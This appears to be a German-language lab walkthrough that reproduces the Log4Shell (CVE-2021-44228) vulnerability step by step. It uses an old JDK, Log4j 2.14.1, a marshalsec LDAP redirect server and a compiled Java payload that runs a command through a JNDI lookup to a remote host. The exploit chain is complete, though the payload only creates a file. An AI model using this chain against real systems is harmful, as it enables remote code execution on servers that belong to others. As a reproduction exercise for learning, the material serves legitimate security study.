
Schritt-für-Schritt-Reproduktionsanleitung für CVE-2021-44228 (Log4Shell) mit JDK 8u20, anfälligem Log4j 2.14.1, marshalsec LDAP-Server und benutzerdefinierter Payload-Kompilierung.
Ich denke, diese Geschichte ist praktischer (weint)christophetd/log4shell-vulnerable-app
Da ich nur aus Interesse und spontan recherchiert habe, gibt es wahrscheinlich unsichere Stellen oder Fehler.
Bitte machen Sie es auf eigene Verantwortung.
Es sollte unter Linux funktionieren.
Ab jdk8u191 wurde die Option com.sun.jndi.rmi.object.trustURLCodebase hinzugefügt, die standardmäßig auf False gesetzt ist.
In diesem Zustand kann keine extern bereitgestellte Klasse geladen werden, daher verwenden wir hier eine frühere Version.
(Kann man interne Klassen laden oder umgehen??)
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
Direkter Download von jdk8u20
Entpacken und in ein geeignetes Verzeichnis wie /opt legen.
Download von log4j
Entpacken und die Dateien log4j-api-2.14.1.jar und extrahieren (ich habe sie in ein Verzeichnis namens log4japp gelegt).
export CLASSPATH=:/path/to/log4japp/log4j-api-2.14.1.jar:/path/to/log4japp/log4j-core-2.14.1.jar
import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;
public class log4j {
private static final Logger logger = LogManager.getLogger(log4j.class);
public static void main(String[] args) {
logger.error("${jndi:ldap://your-ip:1389/resource}");
// /resource がないと動きませんでした。
}
}
mbechler/marshalsec
LDAP-Abfragen zur Webseite umleiten.
mvn clean package -DskipTests
Listener starten
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://your-web-ip:8888/#Exploit"
Auch das Ziel der Umleitung von marshalsec bereitstellen
python3 -m http.server 8888
class Exploit {
static {
try { Runtime.getRuntime().exec("touch /tmp/evil"); } catch(Exception e) {}
}
}
Mit dem installierten jdk8u20 kompilieren
/opt/java/jdk1.8.0_20/bin/javac Exploit.java
Mit dem installierten jdk8u20 kompilieren und ausführen.
/opt/java/jdk1.8.0_20/bin/javac log4j.java
/opt/java/jdk1.8.0_20/bin/java log4j
